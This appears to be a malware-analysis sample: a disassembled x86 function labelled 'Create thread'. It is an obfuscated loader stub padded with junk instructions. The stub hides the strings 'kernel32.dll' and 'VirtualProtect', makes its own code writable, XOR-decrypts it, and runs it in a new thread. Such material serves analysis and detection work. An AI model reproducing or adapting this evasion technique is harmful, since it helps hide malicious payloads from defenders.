Function at 0x903397
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov edi, edi
call fcn.009037cd
pushfd
inc esi
dec esi
popfd
xchg edi, edi
lea eax, [ebp - 0xd8]
xchg esi, esi
mov ebx, 0x61
xchg esi, edx
xchg edx, esi
pushfd
inc eax
dec eax
popfd
add bx, 0xa
pushfd
push 0xae8f6fcd
add esp, 4
popfd
push esi
pop esi
mov word [eax], bx
pushfd
push 0x7fcd49d7
add esp, 4
popfd
pushfd
xor edx, 0xb1b995e1
xor edx, 0xb1b995e1
popfd
sub bx, 6
pushfd
xor ebx, 0x8c4a8215
xor ebx, 0x8c4a8215
popfd
xchg ecx, edx
xchg edx, ecx
mov word [eax + 2], bx
pushfd
xor esi, 0x6d7921b6
xor esi, 0x6d7921b6
popfd
add bx, 0xd
xchg edi, edi
mov word [eax + 4], bx
push ecx
pop ecx
push edi
pop edi
sub bx, 4
mov ebx, ebx
pushfd
inc eax
dec eax
popfd
mov word [eax + 6], bx
push ebx
push eax
pop eax
pop ebx
push ecx
pop ecx
sub bx, 9
nop
pushfd
push 0x8fc56a0c
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
inc esi
dec esi
popfd
add bx, 7
pushfd
xor edx, 0xdca82975
xor edx, 0xdca82975
popfd
xchg ecx, ecx
mov word [eax + 0xa], bx
push ecx
pop ecx
sub bx, 0x39
pushfd
xor ecx, 0x5cee28e6
xor ecx, 0x5cee28e6
popfd
mov ebx, ebx
mov word [eax + 0xc], bx
mov esi, esi
push edi
push edx
pop edx
pop edi
dec bx
pushfd
inc edx
dec edx
popfd
mov word [eax + 0xe], bx
xchg ecx, esi
xchg esi, ecx
sub bx, 4
xchg esi, esi
mov word [eax + 0x10], bx
push ecx
pop ecx
add bx, 0x36
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg ebx, edx
xchg edx, ebx
add bx, 8
xchg edx, esi
xchg esi, edx
pushfd
push 0x481cf11e
add esp, 4
popfd
mov word [eax + 0x14], bx
mov eax, eax
pushfd
xor edi, 0x79c26174
xor edi, 0x79c26174
popfd
mov word [eax + 0x16], bx
push ecx
push eax
pop eax
pop ecx
mov word [eax + 0x18], 0
pushfd
push eax
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor edx, 0x9417c1d3
xor edx, 0x9417c1d3
popfd
xchg ecx, esi
xchg esi, ecx
mov dword [ebp - 0x10], eax
push eax
pop eax
push esi
pop esi
lea eax, [ebp - 0xd8]
xchg edi, ebx
xchg ebx, edi
xchg ebx, esi
xchg esi, ebx
mov ebx, 0x61
pushfd
inc eax
dec eax
popfd
push eax
pop eax
sub bl, 0xb
pushfd
push 0x264fe76d
add esp, 4
popfd
pushfd
push 0xb8c2cd62
add esp, 4
popfd
mov byte [eax], bl
xchg esi, ecx
xchg ecx, esi
add bl, 0x13
pushfd
xor edx, 0xe050bcbb
xor edx, 0xe050bcbb
popfd
push edi
pop edi
mov byte [eax + 1], bl
push esi
pop esi
add bl, 9
mov esi, esi
push edi
pop edi
mov byte [eax + 2], bl
pushfd
inc esi
dec esi
popfd
add bl, 2
pushfd
inc esi
dec esi
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 3], bl
push eax
push ecx
pop ecx
pop eax
inc bl
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 4], bl
push edi
pop edi
push ebx
push edx
pop edx
pop ebx
sub bl, 0x14
pushfd
push 0xaf044ad
add esp, 4
popfd
xchg edx, ebx
xchg ebx, edx
mov byte [eax + 5], bl
push esi
push ebx
pop ebx
pop esi
add bl, 0xb
pushfd
inc esi
dec esi
popfd
mov byte [eax + 6], bl
pushfd
xor ebx, 0xa61be9e0
xor ebx, 0xa61be9e0
popfd
mov esi, esi
sub bl, 0x1c
push edi
pop edi
pushfd
xor ebx, 0xedf61c51
xor ebx, 0xedf61c51
popfd
mov byte [eax + 7], bl
push edx
push ecx
pop ecx
pop edx
add bl, 0x22
push eax
push esi
pop esi
pop eax
pushfd
xor edi, 0x6a4a0dba
xor edi, 0x6a4a0dba
popfd
mov byte [eax + 8], bl
xchg esi, ebx
xchg ebx, esi
sub bl, 3
pushfd
xor eax, 0x9312b8e1
xor eax, 0x9312b8e1
popfd
mov byte [eax + 9], bl
pushfd
push 0x52073aa0
add esp, 4
popfd
add bl, 5
xchg ecx, eax
xchg ecx, eax
mov ebx, ebx
mov byte [eax + 0xa], bl
push ecx
pop ecx
sub bl, 0xf
pushfd
xor edi, 0x92914246
xor edi, 0x92914246
popfd
mov esi, esi
mov byte [eax + 0xb], bl
mov ecx, ecx
xchg ecx, edi
xchg edi, ecx
sub bl, 2
pushfd
xor ecx, 0xd11ae29e
xor ecx, 0xd11ae29e
popfd
pushfd
push 0x9ec87b09
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
xor esi, 0x296c1f3c
xor esi, 0x296c1f3c
popfd
add bl, 0x11
push ecx
pop ecx
pushfd
push 0xbcccd03f
add esp, 4
popfd
mov byte [eax + 0xd], bl
xchg edx, esi
xchg esi, edx
mov byte [eax + 0xe], 0
push edx
push esi
pop esi
pop edx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push edi
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0xe641abe4
add esp, 4
popfd
pushfd
xor eax, 0xdb8acc2
xor eax, 0xdb8acc2
popfd
lea eax, [ebp - 8]
pushfd
inc eax
dec eax
popfd
xchg edi, eax
xchg edi, eax
push eax
push 4
push 0x356d06
push entry0
call dword [ebp - 0xc]
push eax
pop eax
mov edi, entry0
pushfd
push esi
add esp, 4
popfd
push edx
push edi
pop edi
pop edx
mov esi, 0x40100e
pushfd
push 0x9d3d0111
add esp, 4
popfd
mov edi, edi
mov ecx, 0x356d06
xchg ecx, esi
xchg esi, ecx
push edi
pop edi
mov edx, 0xbd1f245b
push edi
pop edi
mov ebx, 0xcd6b0656
pushfd
xor edx, 0x7f76c97a
xor edx, 0x7f76c97a
popfd
cld
mov esi, esi
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
mov edi, edi
stosb byte es:[edi], al
xchg edi, edi
ror edx, 5
mov ecx, ecx
imul edx, edx, 7
mov edi, edi
test ebx, 1
xchg edi, edi
je 0x903730
xchg edi, edi
add esi, 1
mov ecx, ecx
ror ebx, 1
mov ecx, ecx
dec ecx
xchg ebx, ebx
test ecx, ecx
mov eax, eax
jne 0x903709
pushfd
push 0x231ce6e3
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push 0xf36935c3
add esp, 4
popfd
nop
push eax
push 0x20
push 0x356d06
push entry0
call dword [ebp - 0xc]
mov ecx, ecx
mov ebx, ebx
lea eax, [ebp - 4]
mov esi, esi
push esi
push ebx
pop ebx
pop esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x1ab5e045
add esp, 4
popfd
push edx
push edi
pop edi
pop edx
pushfd
push 0x63bd49d0
add esp, 4
popfd
xchg ecx, ecx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0xe293f607
add esp, 4
popfd
jmp 0x903794